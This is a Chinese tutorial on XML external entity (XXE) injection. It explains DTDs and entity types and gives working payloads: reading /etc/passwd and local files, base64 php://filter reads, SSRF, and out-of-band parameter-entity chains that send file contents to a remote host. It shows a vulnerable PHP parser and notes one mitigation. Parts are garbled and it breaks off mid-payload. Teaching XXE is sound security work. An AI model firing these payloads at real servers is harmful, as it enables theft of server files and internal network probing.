XML外部实体(XXE)注⼊详解
###XML与xxe注⼊基础知识
1.XMl定义
XML由3个部分构成,它们分别是:⽂档类型定义(Document Type Definition,DTD),即XML的布局语⾔;可扩展的样式语⾔(Extensible Style Language,XSL),
即XML的样式表语⾔;以及可扩展链接语⾔(Extensible Link Language,XLL)。
XML:可扩展标记语⾔,标准通⽤标记语⾔的⼦集,是⼀种⽤于标记电⼦⽂件使其具有结构性的标记语⾔。它被设计⽤来传输和存储数据(⽽不是储存数据),可扩展标记语⾔是⼀种很像超⽂本标记语⾔的标记语⾔。它的设计宗旨是传输数据,⽽不是显⽰数据。它的标签没有被预定义。您需要⾃⾏定义标签。它被设计为具有⾃我描述性。它是W3C的推荐标准。
可扩展标记语⾔(XML)和超⽂本标记语⾔(HTML)为不同的⽬的⽽设计
它被设计⽤来传输和存储数据,其焦点是数据的内容。
超⽂本标记语⾔被设计⽤来显⽰数据,其焦点是数据的外观
2.XML的作⽤
XML使⽤元素和属性来描述数据。在数据传送过程中,XML始终保留了诸如⽗/⼦关系这样的数据结构。⼏个应⽤程序可以共享和解析同⼀个XML⽂件,不必使⽤传统的字符串解析或拆解过程。相反,普通⽂件不对每个数据段做描述(除了在头⽂件中),也不保留数据关系结构。使⽤XML做数据交换可以使应⽤程序更具有弹性,因为可以⽤位置(与普通⽂件⼀样)或⽤元素名(从数据库)来存取XML数据。
注入XML⽂档结构包括XML声明、DTD⽂档类型定义(可选)、⽂档元素
<?xml version="1.0" encoding="UTF-8"?>
<!-- ⬆XML声明⬆ -->
<!DOCTYPE  ⽂件名 [
<!ENTITY实体名 "实体内容">
]>
<!-- ⬆⽂档类型定义(DTD)⬆ -->
<;元素名称 category="属性">
⽂本或其他元素
</元素名称>
<!-- ⬆⽂档元素⬆ -->
XML⽤于标记电⼦⽂件使其具有结构性的标记语⾔,可以⽤来标记数据、定义数据类型,是⼀种允许⽤户对⾃⼰的标记语⾔进⾏定义的源语⾔。XML⽂档结构包括XML声
明、DTD⽂档类型定义(可选)、⽂档元素。
DTD(⽂档类型定义)的作⽤是定义 XML ⽂档的合法构建模块。DTD 可以在 XML ⽂档内声明,也可以外部引⽤。
(1)内部声明DTD
<!DOCTYPE 根元素 [元素声明]>
(2)引⽤外部DTD
<!DOCTYPE 根元素 SYSTEM "⽂件名">
或者
<!DOCTYPE 根元素 PUBLIC "public_ID" "⽂件名">
DTD实体是⽤于定义引⽤普通⽂本或特殊字符的快捷⽅式的变量,可以内部声明或外部引⽤。
(3)DTD的实体
l  DTD的作⽤
DTD(⽂档类型定义)的作⽤是定义XML⽂档的合法构建模块。DTD可以在XML⽂档内声明,也可以外部引⽤。
外部实体是指XML处理器必须解析的数据。它对于在多个⽂档之间创建共享的公共引⽤很有⽤。对外部实体进⾏的任何更改将在包含对其的引⽤的⽂档中⾃动更新。即XML使⽤外部实体将信息或“内容”将⾃
动提取到XML⽂档的正⽂中。为此,我们需要在XML⽂档内部声明⼀个外部实体
DTD实体是⽤于定义引⽤普通⽂本或特殊字符的快捷⽅式的变量,可以内部声明或外部引⽤。。我们可以在内部确定其值(内部⼦集):
或从外部来源:(外部⼦集):
注意到SYSTEM标识符没?该标识符意味着该实体将从外部来源获取内容,在本例中,该内容是“site”下的⼀个页⾯。
为了声明这些实体,我们需要在⽂档类型定义(DTD)中进⾏。DTD是⼀组标记声明,⽤于定义XML的⽂档类型。它定义了XML⽂档的合法结构块和具有合法元素和属性列表的
⽂档结构。DTD可以在XML⽂档内部声明,也可以作为外部引⽤声明—使⽤SYSTEM标识符指向可解析位置中的另⼀组声明。ENTITY可以使⽤SYSTEM关键字,调⽤外部资源,⽽这⾥是⽀持很多的协议,如:http;file等,然后,在其他DoM结点中可以使⽤如:&test;引⽤该实体内容.
那么,如果在产品功能设计当中,解析的xml是由外部可控制的,那将可能形成,如:⽂件读取,DoS,CSRF等漏洞.
如果要引⽤⼀个外部资源,可以借助各种协议⼏个例⼦:
file:///path/
php://filter/read=convert.base64-encode/resource=conf.php
我们来看⼀个DTD的例⼦,⼀个在DTD⾥⾯有⼀个SYSTEM标识符的实体:
l  内部声明实体
DTD实体是⽤于定义引⽤普通⽂本或特殊字符的快捷⽅式的变量,可以内部声明或外部引⽤。
⼀个内部实体声明
<!ENTITY 实体名称 "实体的值">
例⼦
DTD:
<!ENTITY writer "me">
XML:
<author>&writer;</author>
注释: ⼀个实体由三部分构成: ⼀个和号 (&), ⼀个实体名称, 以及⼀个分号 (;)。
l  引⽤外部实体
⼀个外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
例⼦
DTD:
<!ENTITY writer SYSTEM "example/dtd/writer.dtd">
XML:
<author>&writer;</author>
外部实体类型有
(4)CDATA
CDATA 指的是不应由 XML 解析器进⾏解析的⽂本数据(Unparsed Character Data)。
在 XML 元素中,"<" (新元素的开始)和 "&" (字符实体的开始)是⾮法的。
某些⽂本,⽐如 JavaScript 代码,包含⼤量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为 CDATA。
CDATA 部分中的所有内容都会被解析器忽略。
CDATA 部分由 "<![CDATA[" 开始,由 "]]>" 结束
XML 中的实体分为以下五种:字符实体,命名实体,外部实体,参数实体,内部实体,普通实体和参数实体都分为内部实体和外部实体两种,外部实体定义需要加上SYSTEM关键字,其内容是URL所指向的外部⽂件实际的内容。如果不加SYSTEM关键字,则为内部实体,表⽰实体指代内容为字符串。
(1)字符实体
指⽤⼗进制格式(&#aaa;)或⼗六进制格式(પ)来指定任意 Unicode 字符。对 XML 解析器⽽⾔,字符实体与直接输⼊指定字符的效果完全相同。
(2)命名实体
也称为内部实体,在 DTD 或内部⼦集(即⽂档中 <!DOCTYPE> 语句的⼀部分)中声明,在⽂档中⽤作引⽤。在 XML ⽂档解析过程中,实体引⽤将由它的表⽰替代。
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c://" >]>
<value>&xxe;</value>
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "otherhost/xxxx.php" >]>
<value>&xxe;</value>
可以⽤做xxe+ssrf
(3)外部实体
外部实体表⽰外部⽂件的内容,⽤ SYSTEM 关键词表⽰。
<!ENTITY test SYSTEM "1.xml">
有些XML⽂档包含system标识符定义的“实体”,这些⽂档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。⽐如,下⾯的XML⽂档样例就包含了XML ‘实体’。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything [
<!ENTITY entityex SYSTEM "file:///etc/passwd">
]>
<abc>&entityex;</abc>
在上⾯的代码中, XML外部实体 ‘entityex’ 被赋予的值为:file://etc/passwd。在解析XML⽂档的过程中,实体’entityex’的值会被替换为URI(file://etc/passwd)内容值(也就
是passwd⽂件的内容)。关键字’SYSTEM’会告诉XML解析器,’entityex’实体的值将从其后的URI中读
取,并把读取的内容替换entityex出现的地⽅。
  假如 SYSTEM 后⾯的内容可以被⽤户控制,那么⽤户就可以随意替换为其他内容,从⽽读取服务器本地⽂件(file:///etc/passwd)或者远程⽂件
(www.)
(4)参数实体
参数实体只⽤于 DTD 和⽂档的内部⼦集中,XML的规范定义中,只有在DTD中才能引⽤参数实体. 参数实体的声明和引⽤都是以百分号%。并且参数实体的引⽤在DTD是理解解析的,替换⽂本将变成DTD的⼀部分。该类型的实体⽤“%”字符(或⼗六进制编码的%)声明,并且仅在经过解析和验证后才⽤于替换DTD中的⽂本或其他内容:
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
参数实体只能在 DTD⽂件中被引⽤,其他实体在XML⽂档内引⽤。
即下⾯实例,参数实体在DOCTYPE内,其他实体在外
<!DOCTYPE a [
<!ENTITY % name SYSTEM “file:///etc/passwd”>
%name;
]>
参数实体在DTD中解析优先级⾼于xml内部实体
实体相当于变量 “file:///etc/passwd”赋值给name
先写⼀段简单的xml利⽤代码,以php为例⼦:
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
?>
echo $xml->name;中->name可以任意更改。
如下所⽰:
参数实体的⽰例:
<!ENTITY 实体名称 "实体的值">
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'evil'>">
%param1;
]>
<root>
<test>[This is my site] &internal;</test>
</root>
如:
<!ENTITY % aaa "233">
参数实体param1中包含内部实体的声明,⽤于替代<test>标签中的实体引⽤参数。
这⾥,⼀定要注意流程,参数实体在DTD中解析是优先于XML⽂本中的内部实体解析。
参数实体有⼏个特性,这⼏个特性也决定了它能被利⽤的程度:
l只能在DTD内部
l⽴即引⽤
l实体嵌套
(5)内部实体
内置实体为预留的实体,如:
实体引⽤字符
<          <
>            >
&          &
"          "
'          '
⽽内部实体是指在⼀个实体中定义的另⼀个实体,也就是嵌套定义。
关于实体嵌套的情况,⽐较幸运的是DTD中⽀持单双引号,所以可以通过单双引号间隔使⽤作为区分嵌套实体和实体之间的关系;在实际使⽤中,我们通常需要再嵌套⼀个参数实体,%号是需要处理成 %  如下:
<!ENTITY % param1 '<!ENTITY % xxe SYSTEM "evil/log?%payload;" >'
%;也可写为16进制%
另:内部实体的这⽀持与否也是取决于解释器的,参考
(6)命名实体+外部实体写法
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY dtd SYSTEM "localhost:l">
]>
<value>&dtd;</value>
这种命名实体调⽤外部实体,发现l中不能定义实体,否则解析不了,感觉命名实体好鸡肋,参数实体就好⽤很多
(7)第⼀种命名实体+外部实体+参数实体写法
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://">
<!ENTITY % dtd SYSTEM "localhost:l">
%dtd; %all;
]>
<value>&send;</value>
其中l⽂件内容为
<!ENTITY % all "<!ENTITY send SYSTEM 'localhost:88%file;'>">
调⽤过程为:参数实体dtd调⽤外部实体l,然后⼜调⽤参数实体all,接着调⽤命名实体send
(8)第⼆种命名实体+外部实体+参数实体写法
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/">
<!ENTITY % dtd SYSTEM "localhost:l">
%dtd;
%send;
]>
<root></root>
其中l⽂件内容为:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'localhost:88/?content=%file;'>"> %payload;
调⽤过程和第⼀种⽅法类似
5.XML中的协议⽀持
上图是默认⽀持协议,还可以⽀持其他,如PHP ⽀持的扩展协议有
< 注⼊定义
XXE 注⼊,即XML External Entity ,XML 外部实体注⼊。通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地⽂件或者远程 URI 中读取数据。所以攻击者可以通过XML 实体传递⾃⼰构造的恶意值,是处理程序解析它。当引⽤外部实体时,通过构造恶意内容,可导致读取任意⽂件、执⾏系统命令、探测内⽹端⼝、攻击内⽹⽹站等危害。ENTITY 实体,在⼀个甚⾄多个XML ⽂档中频繁使⽤某⼀条数据,我们可以预先定义⼀个这条数据的“别名”,即⼀个ENTITY ,然后在这些⽂档中需要该数据的地⽅调⽤它。XML 定义了两种类型的ENTITY ,⼀种在XML ⽂档中使⽤
若是在PHP 中,libxml_disable_entity_loader 设置为TRUE 可禁⽤外部实体注。⼊另⼀种作为参数在DTD ⽂件中使⽤。ENTITY 的定义语法:
<!DOCTYPE  ⽂件名 [
<!ENTITY  实体名 "实体内容">
]>
定义好的ENTITY 在⽂档中通过“&实体名;”来使⽤。举例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE booklist [
<!ENTITY publisher "ABC company">
]>
<booklist>
<book>
<name>Ajax</name>
<price>$5.95</price>
<description>Foundations of Ajax.</description>
<publisher>&publisher;</publisher>  这⾥的&publisher;会被“ABC company”替换
</book>
<book>
<name>Ajax Patterns</name>
<price>$7.95</price>
<description>Introduction of Ajax Patterns.</description>
<publisher>&publisher;</publisher>  这⾥的&publisher;会被“ABC company”替换
</book>
</booklist>
在 XML 中有 5 个预定义的实体引⽤:
注释:严格地讲,在 XML 中仅有字符 "<"和"&" 是⾮法的。省略号、引号和⼤于号是合法的,但是把它们替换为实体引⽤是个好的习惯。
7.XXE 漏洞原理
既然XML 可以从外部读取DTD ⽂件,那我们就⾃然地想到了如果将路径换成另⼀个⽂件的路径,那么服务器在解析这个XML 的时候就会把那个⽂件的内容赋值给SYSTEM 前⾯的根元素中,只要我们在XML 中让前⾯的根元素的内容显⽰出来,不就可以读取那个⽂件的内容了。这就造成了⼀个任意⽂件读取的漏洞。
那如果我们指向的是⼀个内⽹主机的端⼝呢?是否会给出错误信息,我们是不是可以从错误信息上来判断内⽹主机这个端⼝是否开放,这就造成了⼀个内部端⼝被探测的问题。另外,⼀般来说,服务器解析XML 有两种⽅式,⼀种是⼀次性将整个XML 加载进内存中,进⾏解析;另⼀种是⼀部分⼀部分的、“流式”地加载、解析。如果我们递归地调⽤XML 定义,⼀次性调⽤巨量的定义,那么服务器的内存就会被消耗完,造成了拒绝服务攻击。
###XML 注⼊简单利⽤
构造本地xml 接⼝,先包含本地xml ⽂件,查看返回结果,正常返回后再换为服务器。
1.任意⽂件读取
payload 如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///D://phpStudy//WWW//aa.txt">]>
<root><name>&xxe;</name><
< ⼩于>
> ⼤于&
&和号'
'省略号""引号

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。